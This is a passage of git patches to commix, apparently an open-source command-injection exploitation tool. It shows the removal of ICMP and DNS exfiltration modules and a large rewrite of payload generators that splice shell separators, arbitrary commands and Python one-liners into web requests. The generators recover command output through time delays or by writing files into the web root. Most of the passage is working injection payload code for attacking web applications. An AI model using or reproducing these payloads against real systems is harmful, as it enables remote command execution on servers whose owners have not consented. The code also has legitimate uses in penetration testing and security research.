\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - ip_data = menu.options.ip_icmp_data - - # Source IP address - ip_src = re.findall(r"ip_src=(.*),", ip_data) - ip_src = ''.join(ip_src) - - # Destination IP address - ip_dst = re.findall(r"ip_dst=(.*)", ip_data) - ip_dst = ''.join(ip_dst) - - exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - icmp_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 04e772b1b3..e604f25695 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -25,30 +25,6 @@ """ def load_modules(url, http_request_method, filename): - # Check if defined the ICMP exfiltration module - if menu.options.ip_icmp_data : - try: - # The ICMP exfiltration module - from src.core.modules.icmp_exfiltration import icmp_exfiltration - # The ICMP exfiltration handler - icmp_exfiltration.icmp_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - - # Check if defined the DNS exfiltration module - if menu.options.dns_server : - try: - # The DNS exfiltration module - from src.core.modules.dns_exfiltration import dns_exfiltration - # The DNS exfiltration handler - dns_exfiltration.dns_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - # Check if defined the shellshock module if menu.options.shellshock : try: diff --git a/src/utils/menu.py b/src/utils/menu.py index 0ecf8de967..78fe3a3900 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -408,17 +408,6 @@ def banner(): # Modules options modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL, "These options can be used increase the detection and/or injection capabilities.") -modules.add_option("--icmp-exfil", - action="store", - dest="ip_icmp_data", - default=False, - help="The 'ICMP exfiltration' injection module. (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3').") - -modules.add_option("--dns-server", - action="store", - dest="dns_server", - default=False, - help="The 'DNS exfiltration' injection module. (Domain name used for DNS exfiltration attack).") modules.add_option("--shellshock", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 73312dd725..4526e71893 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "75" +REVISION = "76" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From a333129e77b4b887d3b7161cd614f69c24e036d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Jun 2022 08:32:39 +0300 Subject: [PATCH 153/560] Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 133 ++++++++------- src/core/injections/controller/controller.py | 6 +- .../techniques/classic/cb_payloads.py | 16 +- .../techniques/eval_based/eb_payloads.py | 4 +- .../techniques/file_based/fb_payloads.py | 16 +- .../techniques/tempfile_based/tfb_payloads.py | 152 +++++++++--------- src/core/main.py | 15 +- src/utils/settings.py | 29 ++-- 9 files changed, 197 insertions(+), 175 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ca70c3d3fa..e0f40c072b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 5f3e803687..d90fdaf3ba 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -81,7 +81,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " != $(echo " + TAG + " " + + "[ " + str(output_length) + " -ne $(echo " + TAG + " " + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -95,7 +95,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): """ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator == "||" : payload = (separator + " " "for /f \"tokens=*\" %i in ('cmd /c " + @@ -119,10 +119,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me if separator == ";" : payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -130,10 +130,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me #separator = "\n" payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -141,11 +141,11 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "$(python -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -154,8 +154,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'" + TAG + "\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -166,7 +166,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") + return payload """ @@ -235,7 +238,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " != $(echo -n \"$(" + cmd + ")\" " + + "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -271,10 +274,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if separator == ";" : payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -282,10 +285,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque #separator = "\n" payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -293,11 +296,11 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -306,8 +309,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'$(echo $(" + cmd + "))\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -318,7 +321,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ Get the execution output, of shell execution. @@ -394,7 +399,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(" + cmd + pipe + "tr -d '\\n'" + + "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) @@ -409,7 +414,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met """ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator == "||" : payload = (separator + " " "for /f \"tokens=*\" %i in ('cmd /c " + @@ -432,20 +437,20 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http else: if separator == ";" : payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -453,10 +458,10 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -464,8 +469,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: @@ -477,7 +482,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -539,7 +546,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != \"$(" + cmd + ")\" ] " + separator + + "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + "sleep " + str(timesec) ) else: @@ -574,20 +581,20 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt else: if separator == ";" : payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -595,10 +602,10 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -606,8 +613,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print $(echo $(" + cmd + "))\n\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: @@ -619,6 +626,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4210fd607c..ee24a265bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -70,6 +70,10 @@ def check_for_stored_levels(url, http_request_method): Heuristic (basic) tests for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + if menu.options.alter_shell: + basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS + else: + basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS if not header_name == " cookie" and not the_type == " HTTP header": header_name = " " + str(http_request_method) settings.CLASSIC_STATE = True @@ -77,7 +81,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, whitespace = settings.WHITESPACES[0] if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: _ = 0 - for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + for payload in basic_payloads: _ = _ + 1 if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): payload = _urllib.parse.quote(payload) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index ab791c2c11..3b64637dfd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -79,9 +79,9 @@ def decision(separator, TAG, randv1, randv2): def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": if settings.SKIP_CALC: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "'\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -91,16 +91,16 @@ def decision_alter_shell(separator, TAG, randv1, randv2): else: if settings.SKIP_CALC: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + TAG + - TAG + "'\"" + TAG + "')\"" ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + - TAG + "'\"" + TAG + "')\"" ) return payload @@ -161,11 +161,11 @@ def cmd_execution_alter_shell(separator, TAG, cmd): if settings.USE_BACKTICKS: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\"" ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\"" ) return payload diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 91f5da7cd6..6e56523500 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -91,7 +91,7 @@ def decision(separator, TAG, randv1, randv2): """ def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + @@ -120,7 +120,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): ) else: - python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" + python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 53a20f9b53..bedb6ba0b9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -52,7 +52,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" ) if settings.USER_AGENT_INJECTION == True or \ @@ -61,10 +61,8 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True : payload = payload.replace("\n", separator) else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload @@ -113,7 +111,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" ) # New line fixation @@ -123,10 +121,8 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", separator) else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 5890c1fb4d..536d27dcbe 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -111,7 +111,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): """ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: 